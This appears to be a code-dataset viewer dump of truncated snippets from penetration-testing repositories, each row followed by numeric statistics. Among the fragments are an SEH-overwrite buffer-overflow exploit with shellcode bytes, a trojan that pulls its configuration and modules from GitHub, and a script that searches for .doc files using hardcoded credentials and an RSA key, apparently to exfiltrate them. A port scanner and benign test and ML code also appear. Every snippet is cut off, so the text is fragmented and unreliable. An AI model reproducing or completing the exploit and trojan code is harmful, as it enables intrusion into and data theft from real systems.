buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r... | 27.642857 | 94 | 0.685393 |
owtf | """
GREP Plugin for Vulnerable Remember Password and Pwd Reset (OWASP-AT-006)
NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log
"""
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Searches transaction DB for autocomplete protections"
def run(PluginInfo):
titl... | 34.058824 | 101 | 0.761345 |
cybersecurity-penetration-testing | import win32com.client
import os
import fnmatch
import time
import random
import zlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
doc_type = ".doc"
username = "test@test.com"
password = "testpassword"
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCA... | 23 | 75 | 0.644346 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
import socket
junk = 'A'*4061
nSEH='\xeb\x10\x90\x90'
SEH = '\xbf\xa1\x01\x10'
NOPs='\x90'*20
buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7... | 43.066667 | 61 | 0.665994 |
cybersecurity-penetration-testing | import socket
rmip ='127.0.0.1'
portlist = [22,23,80,912,135,445,20]
for port in portlist:
sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
result = sock.connect_ex((rmip,port))
print port,":", result
sock.close()
| 18 | 55 | 0.700441 |
Hands-On-Penetration-Testing-with-Python | """
This file demonstrates writing tests using the unittest module. These will pass
when you run "manage.py test".
Replace this with more appropriate tests for your application.
"""
from django.test import TestCase
class SimpleTest(TestCase):
def test_basic_addition(self):
"""
Tests that 1 + 1 a... | 21.588235 | 79 | 0.67624 |
cybersecurity-penetration-testing | import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os
from github3 import login
trojan_id = "abc"
trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules= []
task_queue = Queue.Queue()
configured = False
class Git... | 21.438462 | 77 | 0.566529 |
Mastering-Machine-Learning-for-Penetration-Testing |
from sklearn.feature_selection import mutual_info_classif
from sklearn import preprocessing
import numpy as np
from sklearn.svm import SVC, LinearSVC
from sklearn import svm
import csv
import random
PRatio = 0.7
Dataset = open('Android_Feats.csv')
Reader = csv.reader(Dataset)
Data = list(Reader)
Data = random.sample(... | 21.590909 | 75 | 0.715005 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.